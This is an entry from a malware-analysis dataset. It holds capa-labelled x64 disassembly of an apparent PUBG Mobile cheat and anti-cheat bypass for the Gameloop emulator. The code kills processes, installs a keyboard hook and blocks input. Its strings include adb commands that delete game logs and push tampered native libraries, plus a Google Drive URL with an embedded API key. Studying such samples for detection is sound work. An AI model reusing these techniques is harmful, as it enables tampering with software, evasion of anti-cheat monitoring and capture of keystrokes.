joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ba2
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x406c6b
jmp 0x406c4e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x406c4e
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x406bf6
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret

Function at 0x406c88
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
mov edx, 0x20
mov ecx, 0x10
call fcn.0047c8c0
mov edx, eax
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, str.info.txt
mov rcx, rax
call fcn.00468370
lea rax, [rbp - 0x60]
lea rdx, str.We_have_detected_that_your_using_En_gameloop............_n
mov rcx, rax
call fcn.0047c280
lea rax, [rbp - 0x60]
lea rdx, str.Please_do_not_use_En_gameloop................._n
mov rcx, rax
call fcn.0047c280
lea rax, [rbp - 0x60]
lea rdx, str.If_you_use_En_gameloop_your_id_will_be_banned_for_10_years............_n
mov rcx, rax
call fcn.0047c280
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00468320
mov edx, 0
lea rcx, str.cmd.exe__c_notepad.exe_info.txt
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
jmp 0x406d43
add rsp, 0x1f8
pop rbx
pop rbp
ret

Function at 0x406e21
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x0049648c]
mov rcx, rax
call fcn.00458cf0
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x45]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1_wirQEcupNYd6_WUFjWCTbti20Ir7UWM_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call fcn.00458cf0
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00402c37
mov dword [rbp - 0x44], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fbc0
cmp dword [rbp - 0x44], 0
js 0x406ee0
lea rcx, [0x0049648c]
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
call fcn.00406584
call fcn.00407c7a
jmp 0x406ee5
call fcn.00408946
jmp 0x406f2f
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x406fef
Capabilities:
Create process on windows
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x228
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1c0], ecx
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00458ec0
lea rax, [rbp - 0x50]
mov r8d, 8
lea rdx, str.ad.txt
mov rcx, rax
call fcn.00466ea0
lea rax, [rbp - 0x50]
add rax, 0xd0
mov rcx, rax
call fcn.00448ff0
test al, al
je 0x407074
mov byte [0x004bb048], 1
lea rdx, str.Failed_to_open_file.............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
mov dword [rbp + 0x19c], 1
jmp 0x407149
lea rdx, str.Your_keyboard_will_be_freezed_for_few_minutes.............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rdx, str.Showing_ad
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov rcx, rax
mov eax, dword [rbp + 0x19c]
mov edx, eax
call fcn.00457300
lea rdx, str................._n
mov rcx, rax
call fcn.0047c280
lea rdx, [rbp + 0x190]
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.0047a410
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.0042f540
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.00406f83
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
add dword [rbp + 0x19c], 1
mov eax, dword [rbp + 0x19c]
cmp eax, dword [rbp + 0x1c0]
jle 0x40708f
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00467540
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00459260
jmp 0x4071a7
add rsp, 0x228
pop rbx
pop rbp
ret

Function at 0x4071b1
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x218
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x18c], 0
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00458ec0
lea rax, [rbp - 0x60]
mov r8d, 8
lea rdx, str.ad.txt
mov rcx, rax
call fcn.00466ea0
lea rax, [rbp - 0x60]
add rax, 0xd0
mov rcx, rax
call fcn.00448ff0
test al, al
je 0x407233
lea rdx, str.Failed_to_open_file.............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
jmp 0x40723c
add dword [rbp + 0x18c], 1
lea rdx, [rbp + 0x180]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0047a410
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call fcn.00448fe0
test rax, rax
setne al
test al, al
jne 0x407235
mov ebx, dword [rbp + 0x18c]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00467540
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00459260
mov eax, ebx
jmp 0x4072c1
add rsp, 0x218
pop rbx
pop rbp
ret
Function at 0x4072cb
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x004bb040]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
test eax, eax
sete al
test al, al
je 0x40734e
mov byte [0x004bb048], 1
mov r9d, 0x41010
lea r8, str.BYPASS..........
lea rdx, str.Chrome_or_msedge_is_closed...........
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
lea rdx, str.Chrome_or_msedge_window_is_closed..................._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0x20
pop rbp
ret

Function at 0x407354
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x4073fd
jmp 0x4073e0
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x4073e0
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x407415
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x4073a8
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x40741e
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x4074c9
jmp 0x4074ac
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x4074ac
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x4074e1
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x407472
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x4075d6
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.msedge.exe
call fcn.0040741e
test eax, eax
je 0x407613
lea rcx, str.chrome.exe
call fcn.0040741e
test eax, eax
je 0x407613
mov eax, 1
jmp 0x407618
mov eax, 0
test al, al
je 0x407664
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
lea rdx, str.Mutliple_browser_are_open................_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rdx, str.Close_one_browser.............._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, str.msedge.exe
call fcn.0040741e
test eax, eax
jne 0x40768b
lea rcx, str.chrome.exe
call fcn.0040741e
test eax, eax
jne 0x40768b
mov eax, 1
jmp 0x407690
mov eax, 0
test al, al
je 0x4076c9
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
lea rdx, str.chrome_or_msedge_is_not_running............_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, str.msedge.exe
call fcn.0040741e
test eax, eax
setne al
test al, al
je 0x40774d
lea rcx, str.msedge.exe
call fcn.00407354
mov dword [rbp - 4], eax
lea rdx, str.Wait_checking_discord_link......._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
call fcn.0040780a
mov rax, qword [0x004bb040]
test rax, rax
je 0x40773d
lea rdx, str.Egdge_handle_found.........._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
nop
jmp 0x407804
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40770e
lea rcx, str.chrome.exe
call fcn.0040741e
test eax, eax
setne al
test al, al
je 0x4077ce
lea rcx, str.chrome.exe
call fcn.00407354
mov dword [rbp - 8], eax
lea rdx, str.Wait_checking_discord_link......._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.0040780a
mov rax, qword [0x004bb040]
test rax, rax
je 0x4077be
lea rdx, str.chrome_handle_found.........._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
nop
jmp 0x407804
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x407792
lea rcx, [0x00496003]
call sub.msvcrt.dll_system
lea rdx, str.chrome_or_msedge_is_not_running............_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0x30
pop rbp
ret

Function at 0x40780a
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
mov rdx, rax
lea rcx, [0x004074ea]
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
add rsp, 0x20
pop rbp
ret
Function at 0x407831
Capabilities:
Get graphical window text

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov ecx, 0x100
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
mov dword [rbp + 0xac], eax
cmp dword [rbp + 0xac], 0
jle 0x4078c7
lea rax, [rbp + 0xab]
mov rcx, rax
call fcn.0044fb90
mov eax, dword [rbp + 0xac]
movsxd rdx, eax
lea rcx, [rbp + 0xab]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0xd0]
call fcn.00458d40
lea rax, [rbp + 0xab]
mov rcx, rax
call fcn.0044fbc0
jmp 0x4078f2
mov rcx, qword [rbp + 0xd0]
call fcn.00458ec0
jmp 0x4078f2
mov rax, qword [rbp + 0xd0]
add rsp, 0x138
pop rbx
pop rbp
ret

Function at 0x407a3c
Capabilities:
Execute command
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov r9d, 0
mov r8d, 0
lea rdx, [0x004079f2]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x004bb050], rax
mov rax, qword [0x004bb050]
test rax, rax
jne 0x407ab1
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_install_hook_
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0x20
pop rbp
ret
Function at 0x4080b3
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
mov rdx, rax
lea rcx, [0x00408053]
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
test eax, eax
sete al
add rsp, 0x20
pop rbp
ret

Function at 0x4080df
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
setne al
test al, al
je 0x40817f
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
mov rcx, qword [rbp + 0xf0]
call fcn.0047c1d0
test al, al
je 0x408163
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x408197
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
setne al
test al, al
jne 0x408130
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x4087a6
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x40883c
jmp 0x40881f
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x40881f
mov eax, dword [rbp - 0x58]
jmp 0x40884f
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x4087fa
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add rsp, 0x160
pop rbp
ret
Function at 0x408858
Capabilities:
Enumerate process modules

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1f0], ecx
mov qword [rbp + 0x1f8], rdx
mov edx, dword [rbp + 0x1f0]
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
jne 0x4088bf
lea rdx, str.Unable_to_create_snapshot
mov rcx, qword [0x0049c9b0]
call fcn.0047c280
mov rdx, qword [0x0049c9e0]
mov rcx, rax
call fcn.00457100
mov eax, 0
jmp 0x40893d
mov eax, 0x238
mov dword [rbp - 0x60], eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
setne al
test al, al
je 0x408925
mov rax, qword [rbp + 0x1f8]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x30]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x408909
mov rax, qword [rbp - 0x48]
jmp 0x40893d
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
test eax, eax
setne al
test al, al
jne 0x4088e3
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x260
pop rbp
ret
Function at 0x408d6a
Capabilities:
Execute command
Query or enumerate registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
lea rax, [rbp + 0xde]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp + 0xde]
lea rax, [rbp + 0xc0]
mov r8, rdx
lea rdx, str.SOFTWAREWOW6432NodeTencentMobileGamePCUI
mov rcx, rax
call fcn.00458cf0
lea rax, [rbp + 0xde]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.0042f540
mov rdx, rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp + 0xec], eax
mov dword [rbp + 0xbc], 0xff
cmp dword [rbp + 0xec], 0
jne 0x408f0f
mov rax, qword [rbp + 0xd0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.InstallPath
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov dword [rbp + 0xec], eax
lea rax, [rbp + 0xdf]
mov rcx, rax
call fcn.0044fb90
lea rcx, [rbp + 0xdf]
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0xb0]
mov r8, rcx
mov rcx, rax
call fcn.00458cf0
lea rax, [rbp + 0xdf]
mov rcx, rax
call fcn.0044fbc0
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0xb0]
lea r8, str.AndroidEmulatorEx.exe
mov rcx, rax
call fcn.0047c9d0
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.004592a0
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0xb0]
mov rdx, rax
mov rcx, qword [rbp + 0x110]
call fcn.00458cc0
nop
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.00459260
jmp 0x408fae
lea rdx, str.Failed_to_get_Gameloop_path............_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.pause
call sub.msvcrt.dll_system
mov ecx, 1
call sub.msvcrt.dll_exit
mov rbx, rax
lea rax, [rbp + 0xde]
mov rcx, rax
call fcn.0044fbc0
mov rax, rbx
mov rcx, rax
call fcn.00418030
mov rbx, rax
lea rax, [rbp + 0xdf]
mov rcx, rax
call fcn.0044fbc0
jmp 0x408f94
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.00459260
mov rax, rbx
mov rcx, rax
call fcn.00418030
mov rax, qword [rbp + 0x110]
add rsp, 0x178
pop rbx
pop rbp
ret
Function at 0x408fbf
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rdx, str.Starting_Global................._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.tencent.ig_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs__NUL_2_1
call sub.msvcrt.dll_system
call fcn.004091e4
lea rcx, str.adb_push_a.so__data_app_com.tencent.ig_1_lib_arm_libmarsxlog.so__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_push_b.so__data_app_com.tencent.ig_1_lib_arm_libCrashSight.so__NUL_2_1
call sub.msvcrt.dll_system
call fcn.00409341
lea rcx, str.adb_shell_am_start__n_com.tencent.ig_com.epicgames.ue4.SplashActivity__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
mov ecx, 1
call sub.USER32.dll_BlockInput
mov ecx, 0xfa0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sub.USER32.dll_BlockInput
lea rdx, str.BYPASS_DONE........_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x409076
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rdx, str.Starting_VNG................._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs__NUL_2_1
call sub.msvcrt.dll_system
call fcn.004091e4
lea rcx, str.adb_push_a.so__data_app_com.vng.pubgmobile_1_lib_arm_libmarsxlog.so__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_push_b.so__data_app_com.vng.pubgmobile_1_lib_arm_libCrashSight.so__NUL_2_1
call sub.msvcrt.dll_system
call fcn.00409341
lea rcx, str.adb_shell_am_start__n_com.vng.pubgmobile_com.epicgames.ue4.SplashActivity__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
mov ecx, 1
call sub.USER32.dll_BlockInput
mov ecx, 0xfa0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sub.USER32.dll_BlockInput
lea rdx, str.BYPASS_DONE........_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x20
pop rbp
ret
Function at 0x40912d
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rdx, str.Starting_TW................._n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.rekoo.pubgm_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs__NUL_2_1
call sub.msvcrt.dll_system
call fcn.004091e4
lea rcx, str.adb_push_a.so__data_app_com.rekoo.pubgm_1_lib_arm_libmarsxlog.so__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_push_b.so__data_app_com.rekoo.pubgm_1_lib_arm_libCrashSight.so__NUL_2_1
call sub.msvcrt.dll_system
call fcn.00409341
lea rcx, str.adb_shell_am_start__n_com.rekoo.pubgm_com.epicgames.ue4.SplashActivity__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.adb_kill_server
call sub.msvcrt.dll_system
mov ecx, 1
call sub.USER32.dll_BlockInput
mov ecx, 0xfa0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sub.USER32.dll_BlockInput
lea rdx, str.BYPASS_DONE........_n
mov rcx, qword [0x0049c9d0]
call fcn.0047c280
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x4091e4
Capabilities:
Copy file

Disassembly:
push rbp
push rbx
sub rsp, 0x3d8
lea rbp, [rsp + 0x80]
mov r8d, 0
lea rdx, str.b.so
lea rcx, str.hook2.dll
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rbp + 0x34c], 1
lea rax, [rbp + 0x170]
mov r8d, 4
lea rdx, str.hook.dll
mov rcx, rax
call fcn.00466ea0
lea rax, [rbp - 0x60]
mov r8d, 4
lea rdx, str.a.so
mov rcx, rax
call fcn.00468370
jmp 0x409289
movzx eax, byte [rbp + 0x34b]
mov edx, eax
mov eax, dword [rbp + 0x34c]
sub edx, eax
mov eax, edx
mov byte [rbp + 0x34b], al
movzx eax, byte [rbp + 0x34b]
movsx edx, al
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0047c340
add dword [rbp + 0x34c], 1
lea rax, [rbp + 0x170]
lea rdx, [0x0047ac10]
mov rcx, rax
call fcn.004550b0
mov rcx, rax
lea rax, [rbp + 0x34b]
mov rdx, rax
call fcn.0047cfc0
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call fcn.00448fe0
test rax, rax
setne al
test al, al
jne 0x409253
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00468320
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.00466e50
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.00467540
jmp 0x409337
add rsp, 0x3d8
pop rbx
pop rbp
ret

Function at 0x409341
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.a.so
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rcx, str.b.so
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
nop
add rsp, 0x20
pop rbp
ret